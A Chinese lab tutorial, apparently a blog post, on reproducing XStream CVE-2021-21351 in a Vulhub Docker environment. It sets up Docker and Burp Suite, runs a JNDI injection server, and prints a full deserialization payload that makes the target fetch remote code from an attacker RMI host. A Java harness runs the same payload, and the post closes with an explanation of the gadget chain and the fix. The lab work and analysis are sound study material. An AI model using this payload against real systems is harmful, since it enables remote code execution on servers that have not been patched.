Ubuntu搭建Vulhub漏洞靶场进行xstream的CVE-2021-21351漏洞利用

1、搭建docker环境

**Step1、**彻底清理旧的 Docker 源配置和缓存。

bash 复制代码
# 1. 删除所有 Docker 相关的源配置文件
sudo rm -rf /etc/apt/sources.list.d/docker.list /etc/apt/keyrings/docker.asc

# 2. 清理 APT 缓存(关键!删除损坏的包索引)
sudo apt clean
sudo rm -rf /var/lib/apt/lists/*

# 3. 重新更新系统源(确保基础源正常)
sudo apt update -y

**Step2、**重新添加 Docker 官方源(不使用任何国内镜像)。

bash 复制代码
# 1. 创建密钥存储目录
sudo install -m 0755 -d /etc/apt/keyrings

# 2. 下载并导入 Docker 官方 GPG 密钥(用 wget 避开 Snap curl 问题)
wget -qO- https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/trusted.gpg.d/docker.gpg
sudo chmod a+r /etc/apt/trusted.gpg.d/docker.gpg

# 3. 添加 Docker 官方源(Ubuntu 24.04 代号 noble,已固定)
echo "deb [arch=amd64 signed-by=/etc/apt/trusted.gpg.d/docker.gpg] https://download.docker.com/linux/ubuntu noble stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

# 4. 刷新官方源索引
sudo apt update -y

**Step3、**手动安装。

bash 复制代码
# 1. 手动下载官方的 containerd.io 包(对应 Ubuntu 24.04 版本,文件大小 22MB 左右)
wget https://download.docker.com/linux/ubuntu/dists/noble/pool/stable/amd64/containerd.io_2.1.5-1~ubuntu.24.04~noble_amd64.deb

# 2. 手动安装该包(避免 APT 自动下载损坏的镜像)
sudo dpkg -i containerd.io_2.1.5-1~ubuntu.24.04~noble_amd64.deb

# 3. 安装剩余的 Docker 组件(此时 APT 只需下载其他包,不会再处理 containerd.io)
sudo apt install -y docker-ce docker-ce-cli docker-buildx-plugin docker-compose-plugin

**Step4、**验证docker安装成功。

bash 复制代码
# 1. 启动 Docker 并设置开机自启
sudo systemctl enable --now docker

# 2. 检查 Docker 服务状态(显示 active (running) 即为成功)
sudo systemctl status docker

# 3. 运行测试镜像(输出 Hello from Docker! 则功能正常)
sudo docker run hello-world

**Step5、**配置镜像加速地址。

bash 复制代码
vim /etc/docker/daemon.json

#输入镜像地址
{
  "registry-mirrors":[
    "https://docker.xuanyuan.me",
    "https://docker.m.daocloud.io",
    "https://docker.imgdb.de",
    "https://docker-0.unsee.tech",
    "https://docker.hlmirror.com",
    "https://docker.1ms.run"
  ]
}

sudo systemctl daemon-reload
sudo systemctl restart docker

**Step6、**验证docker安装成功,且镜像加速生效。

bash 复制代码
docker --version
sudo docker run hello-world

2、安装vulhub工具

bash 复制代码
git clone https://github.com/vulhub/vulhub.git
cd vulhub
ls

这些是vulhub漏洞靶场收集的漏洞信息,可以通过docker镜像的方式,启动漏洞靶场环境,在docker中复现漏洞。

这里举一个nacos的例子:

bash 复制代码
cd nacos
cd CVE-2021-29441

# 基于当前目录的 docker-compose.yml配置文件在后台批量创建并启动所有关联的 Docker 容器、网络、数据卷等资源,适用于快速部署多容器应用(如 Vulhub 靶场、微服务集群、Web + 数据库组合等)。
sudo docker compose up -d

sudo docker compose restart
sudo docker compose ps

靶场环境启动成功,nacos端口是8848。访问:http://127.0.0.1:8848/nacos/#/login

3、安装Burp Suite

Step1、 下载Burp Suite:https://portswigger.net/burp/releases

**Step2、**通过.sh安装脚本安装

bash 复制代码
sudo chmod +x burpsuite_community_linux_v2025_11.sh

./burpsuite_community_linux_v2025_11.sh

等待几分钟后,安装完成。

4、使用Burp Suite抓包复现CVE-2021-21351的漏洞

**Step1、**进入CVE-2021-21351目录,执行命令sudo docker compose up -d启动漏洞镜像环境。

浏览器访问:http://192.168.10.101:8080/

表示漏洞镜像启动成功。

**Step2、**下载JNDI注入工具

JNDI下载:https://github.com/welk1n/JNDI-Injection-Exploit/releases

在攻击机192.168.10.101上启动JNDI,搭建一个JNDI服务,推送恶意命令"touch /home/www/tools/wlc123.txt",当靶机的漏洞连接到该服务时,会自动在靶机的/home/www/tools/目录下创建wlc123.txt文件,用于验证漏洞是否被利用。

bash 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wlc123.txt" -A 192.168.10.101

**Step3、**构造一个poc.xml脚本,用于执行攻击。

首先,打开这个readme文件。复制这个脚本。

将脚本中的<dataSource>标签内的内容替换成上面JNDI程序生成的:rmi://192.168.10.101:1099/g4ucrb

得到完整的脚本如下:

XML 复制代码
POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 3181

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
      <m__DTMXRTreeFrag>
        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
          <m__size>-10086</m__size>
          <m__mgrDefault>
            <__overrideDefaultParser>false</__overrideDefaultParser>
            <m__incremental>false</m__incremental>
            <m__source__location>false</m__source__location>
            <m__dtms>
              <null/>
            </m__dtms>
            <m__defaultHandler/>
          </m__mgrDefault>
          <m__shouldStripWS>false</m__shouldStripWS>
          <m__indexing>false</m__indexing>
          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
              <javax.sql.rowset.BaseRowSet>
                <default>
                  <concurrency>1008</concurrency>
                  <escapeProcessing>true</escapeProcessing>
                  <fetchDir>1000</fetchDir>
                  <fetchSize>0</fetchSize>
                  <isolation>2</isolation>
                  <maxFieldSize>0</maxFieldSize>
                  <maxRows>0</maxRows>
                  <queryTimeout>0</queryTimeout>
                  <readOnly>true</readOnly>
                  <rowSetType>1004</rowSetType>
                  <showDeleted>false</showDeleted>
                  <dataSource>rmi://192.168.10.101:1099/iczmdr</dataSource>
                  <listeners/>
                  <params/>
                </default>
              </javax.sql.rowset.BaseRowSet>
              <com.sun.rowset.JdbcRowSetImpl>
                <default/>
              </com.sun.rowset.JdbcRowSetImpl>
            </fPullParserConfig>
            <fConfigSetInput>
              <class>com.sun.rowset.JdbcRowSetImpl</class>
              <name>setAutoCommit</name>
              <parameter-types>
                <class>boolean</class>
              </parameter-types>
            </fConfigSetInput>
            <fConfigParse reference='../fConfigSetInput'/>
            <fParseInProgress>false</fParseInProgress>
          </m__incrementalSAXSource>
          <m__walker>
            <nextIsRaw>false</nextIsRaw>
          </m__walker>
          <m__endDocumentOccured>false</m__endDocumentOccured>
          <m__idAttributes/>
          <m__textPendingStart>-1</m__textPendingStart>
          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
          <m__pastFirstElement>false</m__pastFirstElement>
        </m__dtm>
        <m__dtmIdentity>1</m__dtmIdentity>
      </m__DTMXRTreeFrag>
      <m__dtmRoot>1</m__dtmRoot>
      <m__allowRelease>false</m__allowRelease>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

Step4、使用Burp Site进行攻击。

首先设置一下浏览器代理,设置代理是为了进行Burp Site抓包。

在Burp Site中也设置一下代理地址。

此时,重新刷新一下:http://192.168.10.101:8080/

可以在Burp Site中看到抓到的包。

右击点击Send to Repeat,进入Repeater页面,左边的Request是前面的poc.xml,点击send按钮。

bash 复制代码
# 查看靶机cve-2021-21351-web-1这个容器下的tmp文件夹所有文件
sudo docker exec -it cve-2021-21351-web-1 ls /tmp

可以看到攻击机通过cve-2021-21351漏洞使用rmi在靶机上创建的wlc123.txt文件。

注意:有时候一直处于send中,一直没有response,可能是1099端口被攻击机拦截,关闭攻击机防火墙就行了,sudo ufw disable

5、本地通过代码复现CVE-2021-21351漏洞

先进行JNDI注入

bash 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wlc123.txt" -A 192.168.10.101

再运行java代码。

xstream1.4.15的jar包:https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.15/

xpp3的jar包:https://mvnrepository.com/artifact/xpp3/xpp3/1.1.4c

java 复制代码
package com.wlc;

import com.thoughtworks.xstream.XStream;

public class XStreamDangerDeserialize {
    public static void main(String[] args) {
        XStream xstream = new XStream();
        String xml = "<sorted-set>\n" +
                "  <javax.naming.ldap.Rdn_-RdnEntry>\n" +
                "    <type>ysomap</type>\n" +
                "    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>\n" +
                "      <m__DTMXRTreeFrag>\n" +
                "        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>\n" +
                "          <m__size>-10086</m__size>\n" +
                "          <m__mgrDefault>\n" +
                //如果目标Java版本较低,POC需要做修改,将其中的`<__overrideDefaultParser>false</__overrideDefaultParser>`改成`<__useServicesMechanism>false</__useServicesMechanism>`即可。
                //我本地用的是jdk1.8.0_20,属于比较低的版本了
//                "            <__overrideDefaultParser>false</__overrideDefaultParser>\n" +
                "<__useServicesMechanism>false</__useServicesMechanism>\n" +
                "            <m__incremental>false</m__incremental>\n" +
                "            <m__source__location>false</m__source__location>\n" +
                "            <m__dtms>\n" +
                "              <null/>\n" +
                "            </m__dtms>\n" +
                "            <m__defaultHandler/>\n" +
                "          </m__mgrDefault>\n" +
                "          <m__shouldStripWS>false</m__shouldStripWS>\n" +
                "          <m__indexing>false</m__indexing>\n" +
                "          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>\n" +
                "            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>\n" +
                "              <javax.sql.rowset.BaseRowSet>\n" +
                "                <default>\n" +
                "                  <concurrency>1008</concurrency>\n" +
                "                  <escapeProcessing>true</escapeProcessing>\n" +
                "                  <fetchDir>1000</fetchDir>\n" +
                "                  <fetchSize>0</fetchSize>\n" +
                "                  <isolation>2</isolation>\n" +
                "                  <maxFieldSize>0</maxFieldSize>\n" +
                "                  <maxRows>0</maxRows>\n" +
                "                  <queryTimeout>0</queryTimeout>\n" +
                "                  <readOnly>true</readOnly>\n" +
                "                  <rowSetType>1004</rowSetType>\n" +
                "                  <showDeleted>false</showDeleted>\n" +
                "                  <dataSource>rmi://192.168.10.101:1099/gvewv7</dataSource>\n" +
                "                  <listeners/>\n" +
                "                  <params/>\n" +
                "                </default>\n" +
                "              </javax.sql.rowset.BaseRowSet>\n" +
                "              <com.sun.rowset.JdbcRowSetImpl>\n" +
                "                <default/>\n" +
                "              </com.sun.rowset.JdbcRowSetImpl>\n" +
                "            </fPullParserConfig>\n" +
                "            <fConfigSetInput>\n" +
                "              <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
                "              <name>setAutoCommit</name>\n" +
                "              <parameter-types>\n" +
                "                <class>boolean</class>\n" +
                "              </parameter-types>\n" +
                "            </fConfigSetInput>\n" +
                "            <fConfigParse reference='../fConfigSetInput'/>\n" +
                "            <fParseInProgress>false</fParseInProgress>\n" +
                "          </m__incrementalSAXSource>\n" +
                "          <m__walker>\n" +
                "            <nextIsRaw>false</nextIsRaw>\n" +
                "          </m__walker>\n" +
                "          <m__endDocumentOccured>false</m__endDocumentOccured>\n" +
                "          <m__idAttributes/>\n" +
                "          <m__textPendingStart>-1</m__textPendingStart>\n" +
                "          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>\n" +
                "          <m__pastFirstElement>false</m__pastFirstElement>\n" +
                "        </m__dtm>\n" +
                "        <m__dtmIdentity>1</m__dtmIdentity>\n" +
                "      </m__DTMXRTreeFrag>\n" +
                "      <m__dtmRoot>1</m__dtmRoot>\n" +
                "      <m__allowRelease>false</m__allowRelease>\n" +
                "    </value>\n" +
                "  </javax.naming.ldap.Rdn_-RdnEntry>\n" +
                "  <javax.naming.ldap.Rdn_-RdnEntry>\n" +
                "    <type>ysomap</type>\n" +
                "    <value class='com.sun.org.apache.xpath.internal.objects.XString'>\n" +
                "      <m__obj class='string'>test</m__obj>\n" +
                "    </value>\n" +
                "  </javax.naming.ldap.Rdn_-RdnEntry>\n" +
                "</sorted-set>";

        try {
            Object obj = xstream.fromXML(xml);
            System.out.println("反序列化完成: " + obj.getClass());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

运行时会有报错:

在/tmp目录下成功创建了wlc123.txt文件了。

6、CVE-2021-21351漏洞产生原理

xstream是一个java序列化/反序列化工具,其核心功能是将Java对象与xml字符串互相转换。

Step1、 xstream.fromXML()

Step2、

<sorted-set>会被解析成TreeSet,会创建一个TreeSet对象,<sorted-set>的子节点是<javax.naming.ldap.Rdn_-RdnEntry>,会继续创建Rdn的内部类RdnEntry的对象。把RdnEntry对象加到TreeSet中,因为TreeSet中的元素是有序的,因此TreeSet每add一个元素,就会先调用该元素中的compareTo方法进行排序。

这里的Rdn.compareTo()方法,内部会解析value,引发JNDI lookup危险点。

在TreeSet里面add了一个Rdn类中的内部类RdnEntry的对象。而RdnEntry的value是XRTreeFrag。因为TreeSet中的元素是有序的,因此TreeSet每add一个元素,就会调用该元素中的compareTo方法进行排序。

因为TreeSet底层依赖TreeMap实现有序性,而TreeMap的排序逻辑会触发TreeMap.compare方法。当 RdnEntry的compareTo方法执行return 0;后,TreeSet为了维护元素的有序性,会调用底层TreeMap的compare方法来确认元素的排序关系。

compare之后,根据比较结果,将元素put到合适的位置。

以上put的是RdnEntry类中的XRTreeFrag,而XRTreeFrag中又包含了SAX2DTM节点,因此还需对XRTreeFrag中的SAX2DTM进行排序

复制代码
String str = m_DTMXRTreeFrag.getDTM().getStringValue(m_dtmRoot).toString();这行代码的作用是将XRTreeFrag 所代表的 XML 节点的“文本内容”提取出来,转换成普通 Java 字符串。

代码继续往下走

JdbcRowSetImpl.setAutoCommit()这个方法的作用是设置 RowSet 对象内部使用的数据库连接是否开启自动提交。

JdbcRowSetImpl.setAutoCommit()这个方法里会调用到InitialContext.lookup()方法,lookup()方法会访问远程rmi服务器,向攻击者ip建立连接,接收攻击者提供的对象引用,并自动反序列化。

InitialContext.getURLOrDefaultInitCtx() 的作用是识别 JNDI 名称是否为 URL(比如 rmi://),返回对应的 URLContext。当 scheme 为 rmi 时,最终会调用 Context.lookup(),连接远程 RMI 服务。

在Context.lookup(rmi地址)调用结束后,会触发一个SQLException的报错,之所以会报错,是因为InitialContext.lookup(rmi地址)返回值不是DataSource类型。而是返回Reference类型,类型不匹配因此catch了错误异常。

因为成功lookup执行里rmi命令,因此可以看到有生成wlc123456.txt文件。

7、JNDI简介

JNDI全称"Java命名与目录接口",是一个可以通过Context.lookup()方法去查找远程服务器上java目录的工具。

bash 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wlc123456.txt" -A 192.168.10.102

这行代码的作用是启动一个 JNDI 恶意服务端生成一个Exploit而已java类,这个java类中会执行touch /tmp/wlc123456.txt创建一个txt文件。

Context.lookup("rmi://192.168.10.102:1099/t3ii0h")会获取一个包含"远程类位置(codebase)信息"的恶意对象。JVM 根据这个对象里的信息再去下载并加载 Exploit.class,然后在类加载阶段执行恶意静态代码块,从而 进行远程代码执行RCE。

8、总结

因此可以总结一下。有一个xml需转换成java对象,因为这个xml中包含了<sorted-set>这样的节点,因此xstream会尝试将其转换为TreeSet,因为TreeSet是有序集合,在往TreeSet里面add元素的时候,会调用元素的compareTo方法进行一个排序。而因为RdnEntry类被作为里TreeSet中的元素,会调用RdnEntry.compareTo()方法对RdnEntry进行排序,而xml中<RdnEntry>节点中又包含了<XRTreeFrag>节点,而<XRTreeFrag>节点里又包含了<m__DTMXRTreeFrag>节点,

在RdnEntry.compareTo()方法对RdnEntry完成排序后,会接着调用XRTreeFrag类的str()方法把XRTreeFrag对象转为字符串,而<m__DTMXRTreeFrag>节点里又包含里<SAX2DTM>节点,因此会调用SAX2DTM.getStringValue()方法把<m__DTMXRTreeFrag>节点中的内容转为java字符串。因为poc.xml中包含了<JdbcRowSetImpl><setAutoCommit>节点,xstream在解析的时候,会调用JdbcRowSetImpl.setAutoCommit()方法。通过setAutoCommit()方法调用到InitialContext.lookup(),lookup()方法会访问远程rmi服务器,向攻击者ip建立连接,接收攻击者提供的对象引用,并自动反序列化。因此就达到了漏洞利用的目的。

可以看出整个CVE-2021-21351漏洞利用的过程中并没有涉及到readObject()方法,整个漏洞利用链不依赖Java原生反序列化,整个漏洞的利用链是:TreeSet 自动排序 → Rdn.compareTo() → value.toString() → JNDI lookup。虽然CVE-2021-21351并不涉及readObject()、Serializable、ObjectInputStream,但是因为攻击点是 XStream.fromXML()的对象反序列化,也可以将其归属于反序列化漏洞。

识别反序列化漏洞的关键点在于程序是否会调用InitialContext.lookup(),如果会调用到InitialContext.lookup()方法,则表明可能会存在反序列化漏洞。XStream 1.4.16 及之后版本修复了该漏洞。在1.4.16版本之后,xstream禁用了javax.naming.ldap.Rdn$RdnEntry、com.sun.rowset.JdbcRowSetImpl、com.sun.org.apache.xpath.internal.objects.XRTreeFrag这些类,使得xstream在把xml转换为java对象时,不会通过TreeSet自动排序调用到Rdn.compareTo()从而引起后面的一系列链式调用,最终执行Context.lookup()。

9、参考资料

https://blog.csdn.net/weixin_43223153/article/details/123837976

相关推荐
牢姐与蒯5 分钟前
Linux信号(一).信号产生
linux·运维·服务器·ubuntu
雯宝6 小时前
mnt_init 函数
linux
律宏阔12 小时前
WSL Docker 端口明明空闲,但就是绑不上端口
linux·windows
律宏阔12 小时前
WSL 突然断网,无法 ping 内网或外网
linux·windows
穷人小水滴12 小时前
用容器编译 VirtualBox 虚拟机软件 (ArchLinux, podman)
linux·容器·virtualbox
乱码三千12 小时前
如何优雅地直连无公网 IP 的远程 GPU 服务器
linux·人工智能·程序员
yunwei3712 小时前
使用 eBPF 跟踪 Nginx 请求
linux·后端·性能优化
yunwei3712 小时前
使用 eBPF 跟踪 MySQL 查询
linux·后端·性能优化
yunwei3712 小时前
eBPF 示例教程:使用 XDP 捕获 TCP 信息
linux·后端·性能优化
GeW12 小时前
制造业高端化,为什么必须重估Linux和数据库?
linux